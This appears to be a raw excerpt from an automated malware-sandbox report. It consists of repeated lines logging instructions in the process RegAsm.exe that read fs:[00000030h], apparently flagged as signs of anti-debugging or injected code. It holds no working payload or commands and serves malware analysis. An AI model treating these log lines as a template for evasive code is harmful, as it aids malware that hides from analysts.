Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F051EF mov eax, dword ptr fs:[00000030h]	3_2_02F051EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1D1D0 mov eax, dword ptr fs:[00000030h]	3_2_02F1D1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1D1D0 mov ecx, dword ptr fs:[00000030h]	3_2_02F1D1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E1D0 mov eax, dword ptr fs:[00000030h]	3_2_02F5E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E1D0 mov eax, dword ptr fs:[00000030h]	3_2_02F5E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E1D0 mov ecx, dword ptr fs:[00000030h]	3_2_02F5E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E1D0 mov eax, dword ptr fs:[00000030h]	3_2_02F5E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E1D0 mov eax, dword ptr fs:[00000030h]	3_2_02F5E1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB51CB mov eax, dword ptr fs:[00000030h]	3_2_02FB51CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA61C3 mov eax, dword ptr fs:[00000030h]	3_2_02FA61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA61C3 mov eax, dword ptr fs:[00000030h]	3_2_02FA61C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F911A4 mov eax, dword ptr fs:[00000030h]	3_2_02F911A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F911A4 mov eax, dword ptr fs:[00000030h]	3_2_02F911A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F911A4 mov eax, dword ptr fs:[00000030h]	3_2_02F911A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F911A4 mov eax, dword ptr fs:[00000030h]	3_2_02F911A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFB1B0 mov eax, dword ptr fs:[00000030h]	3_2_02EFB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F37190 mov eax, dword ptr fs:[00000030h]	3_2_02F37190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6019F mov eax, dword ptr fs:[00000030h]	3_2_02F6019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6019F mov eax, dword ptr fs:[00000030h]	3_2_02F6019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6019F mov eax, dword ptr fs:[00000030h]	3_2_02F6019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6019F mov eax, dword ptr fs:[00000030h]	3_2_02F6019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9C188 mov eax, dword ptr fs:[00000030h]	3_2_02F9C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9C188 mov eax, dword ptr fs:[00000030h]	3_2_02F9C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F20185 mov eax, dword ptr fs:[00000030h]	3_2_02F20185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDA197 mov eax, dword ptr fs:[00000030h]	3_2_02EDA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDA197 mov eax, dword ptr fs:[00000030h]	3_2_02EDA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDA197 mov eax, dword ptr fs:[00000030h]	3_2_02EDA197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F79179 mov eax, dword ptr fs:[00000030h]	3_2_02F79179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF172 mov eax, dword ptr fs:[00000030h]	3_2_02EDF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED9148 mov eax, dword ptr fs:[00000030h]	3_2_02ED9148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED9148 mov eax, dword ptr fs:[00000030h]	3_2_02ED9148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED9148 mov eax, dword ptr fs:[00000030h]	3_2_02ED9148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED9148 mov eax, dword ptr fs:[00000030h]	3_2_02ED9148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB5152 mov eax, dword ptr fs:[00000030h]	3_2_02FB5152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F78158 mov eax, dword ptr fs:[00000030h]	3_2_02F78158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F74144 mov eax, dword ptr fs:[00000030h]	3_2_02F74144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F74144 mov eax, dword ptr fs:[00000030h]	3_2_02F74144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F74144 mov ecx, dword ptr fs:[00000030h]	3_2_02F74144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F74144 mov eax, dword ptr fs:[00000030h]	3_2_02F74144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F74144 mov eax, dword ptr fs:[00000030h]	3_2_02F74144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE6154 mov eax, dword ptr fs:[00000030h]	3_2_02EE6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE6154 mov eax, dword ptr fs:[00000030h]	3_2_02EE6154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDC156 mov eax, dword ptr fs:[00000030h]	3_2_02EDC156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE7152 mov eax, dword ptr fs:[00000030h]	3_2_02EE7152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F10124 mov eax, dword ptr fs:[00000030h]	3_2_02F10124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB136 mov eax, dword ptr fs:[00000030h]	3_2_02EDB136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB136 mov eax, dword ptr fs:[00000030h]	3_2_02EDB136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB136 mov eax, dword ptr fs:[00000030h]	3_2_02EDB136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB136 mov eax, dword ptr fs:[00000030h]	3_2_02EDB136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE1131 mov eax, dword ptr fs:[00000030h]	3_2_02EE1131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE1131 mov eax, dword ptr fs:[00000030h]	3_2_02EE1131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8A118 mov ecx, dword ptr fs:[00000030h]	3_2_02F8A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8A118 mov eax, dword ptr fs:[00000030h]	3_2_02F8A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8A118 mov eax, dword ptr fs:[00000030h]	3_2_02F8A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F8A118 mov eax, dword ptr fs:[00000030h]	3_2_02F8A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA0115 mov eax, dword ptr fs:[00000030h]	3_2_02FA0115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E6F2 mov eax, dword ptr fs:[00000030h]	3_2_02F5E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E6F2 mov eax, dword ptr fs:[00000030h]	3_2_02F5E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E6F2 mov eax, dword ptr fs:[00000030h]	3_2_02F5E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E6F2 mov eax, dword ptr fs:[00000030h]	3_2_02F5E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F606F1 mov eax, dword ptr fs:[00000030h]	3_2_02F606F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F606F1 mov eax, dword ptr fs:[00000030h]	3_2_02F606F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9D6F0 mov eax, dword ptr fs:[00000030h]	3_2_02F9D6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0D6E0 mov eax, dword ptr fs:[00000030h]	3_2_02F0D6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0D6E0 mov eax, dword ptr fs:[00000030h]	3_2_02F0D6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F736EE mov eax, dword ptr fs:[00000030h]	3_2_02F736EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F736EE mov eax, dword ptr fs:[00000030h]	3_2_02F736EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F736EE mov eax, dword ptr fs:[00000030h]	3_2_02F736EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F736EE mov eax, dword ptr fs:[00000030h]	3_2_02F736EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F736EE mov eax, dword ptr fs:[00000030h]	3_2_02F736EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F736EE mov eax, dword ptr fs:[00000030h]	3_2_02F736EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F136EF mov eax, dword ptr fs:[00000030h]	3_2_02F136EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEB6C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEB6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEB6C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEB6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEB6C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEB6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEB6C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEB6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEB6C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEB6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEB6C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEB6C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1A6C7 mov ebx, dword ptr fs:[00000030h]	3_2_02F1A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1A6C7 mov eax, dword ptr fs:[00000030h]	3_2_02F1A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA16CC mov eax, dword ptr fs:[00000030h]	3_2_02FA16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA16CC mov eax, dword ptr fs:[00000030h]	3_2_02FA16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA16CC mov eax, dword ptr fs:[00000030h]	3_2_02FA16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA16CC mov eax, dword ptr fs:[00000030h]	3_2_02FA16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9F6C7 mov eax, dword ptr fs:[00000030h]	3_2_02F9F6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F116CF mov eax, dword ptr fs:[00000030h]	3_2_02F116CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F166B0 mov eax, dword ptr fs:[00000030h]	3_2_02F166B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDD6AA mov eax, dword ptr fs:[00000030h]	3_2_02EDD6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDD6AA mov eax, dword ptr fs:[00000030h]	3_2_02EDD6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1C6A6 mov eax, dword ptr fs:[00000030h]	3_2_02F1C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED76B2 mov eax, dword ptr fs:[00000030h]	3_2_02ED76B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED76B2 mov eax, dword ptr fs:[00000030h]	3_2_02ED76B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02ED76B2 mov eax, dword ptr fs:[00000030h]	3_2_02ED76B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6368C mov eax, dword ptr fs:[00000030h]	3_2_02F6368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6368C mov eax, dword ptr fs:[00000030h]	3_2_02F6368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6368C mov eax, dword ptr fs:[00000030h]	3_2_02F6368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6368C mov eax, dword ptr fs:[00000030h]	3_2_02F6368C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE4690 mov eax, dword ptr fs:[00000030h]	3_2_02EE4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE4690 mov eax, dword ptr fs:[00000030h]	3_2_02EE4690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F12674 mov eax, dword ptr fs:[00000030h]	3_2_02F12674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1A660 mov eax, dword ptr fs:[00000030h]	3_2_02F1A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1A660 mov eax, dword ptr fs:[00000030h]	3_2_02F1A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F19660 mov eax, dword ptr fs:[00000030h]	3_2_02F19660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F19660 mov eax, dword ptr fs:[00000030h]	3_2_02F19660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA866E mov eax, dword ptr fs:[00000030h]	3_2_02FA866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA866E mov eax, dword ptr fs:[00000030h]	3_2_02FA866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFC640 mov eax, dword ptr fs:[00000030h]	3_2_02EFC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE262C mov eax, dword ptr fs:[00000030h]	3_2_02EE262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFE627 mov eax, dword ptr fs:[00000030h]	3_2_02EFE627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF626 mov eax, dword ptr fs:[00000030h]	3_2_02EDF626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF626 mov eax, dword ptr fs:[00000030h]	3_2_02EDF626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF626 mov eax, dword ptr fs:[00000030h]	3_2_02EDF626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF626 mov eax, dword ptr fs:[00000030h]	3_2_02EDF626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF626 mov eax, dword ptr fs:[00000030h]	3_2_02EDF626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF626 mov eax, dword ptr fs:[00000030h]	3_2_02EDF626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF626 mov eax, dword ptr fs:[00000030h]	3_2_02EDF626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF626 mov eax, dword ptr fs:[00000030h]	3_2_02EDF626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF626 mov eax, dword ptr fs:[00000030h]	3_2_02EDF626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB5636 mov eax, dword ptr fs:[00000030h]	3_2_02FB5636
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F16620 mov eax, dword ptr fs:[00000030h]	3_2_02F16620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F18620 mov eax, dword ptr fs:[00000030h]	3_2_02F18620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22619 mov eax, dword ptr fs:[00000030h]	3_2_02F22619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1F603 mov eax, dword ptr fs:[00000030h]	3_2_02F1F603
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F11607 mov eax, dword ptr fs:[00000030h]	3_2_02F11607
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE3616 mov eax, dword ptr fs:[00000030h]	3_2_02EE3616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE3616 mov eax, dword ptr fs:[00000030h]	3_2_02EE3616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5E609 mov eax, dword ptr fs:[00000030h]	3_2_02F5E609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EED7E0 mov ecx, dword ptr fs:[00000030h]	3_2_02EED7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE47FB mov eax, dword ptr fs:[00000030h]	3_2_02EE47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE47FB mov eax, dword ptr fs:[00000030h]	3_2_02EE47FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F027ED mov eax, dword ptr fs:[00000030h]	3_2_02F027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F027ED mov eax, dword ptr fs:[00000030h]	3_2_02F027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F027ED mov eax, dword ptr fs:[00000030h]	3_2_02F027ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EEC7C0 mov eax, dword ptr fs:[00000030h]	3_2_02EEC7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE57C0 mov eax, dword ptr fs:[00000030h]	3_2_02EE57C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE57C0 mov eax, dword ptr fs:[00000030h]	3_2_02EE57C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE57C0 mov eax, dword ptr fs:[00000030h]	3_2_02EE57C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F607C3 mov eax, dword ptr fs:[00000030h]	3_2_02F607C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F0D7B0 mov eax, dword ptr fs:[00000030h]	3_2_02F0D7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE07AF mov eax, dword ptr fs:[00000030h]	3_2_02EE07AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB37B6 mov eax, dword ptr fs:[00000030h]	3_2_02FB37B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF7BA mov eax, dword ptr fs:[00000030h]	3_2_02EDF7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF7BA mov eax, dword ptr fs:[00000030h]	3_2_02EDF7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF7BA mov eax, dword ptr fs:[00000030h]	3_2_02EDF7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF7BA mov eax, dword ptr fs:[00000030h]	3_2_02EDF7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF7BA mov eax, dword ptr fs:[00000030h]	3_2_02EDF7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF7BA mov eax, dword ptr fs:[00000030h]	3_2_02EDF7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF7BA mov eax, dword ptr fs:[00000030h]	3_2_02EDF7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF7BA mov eax, dword ptr fs:[00000030h]	3_2_02EDF7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDF7BA mov eax, dword ptr fs:[00000030h]	3_2_02EDF7BA
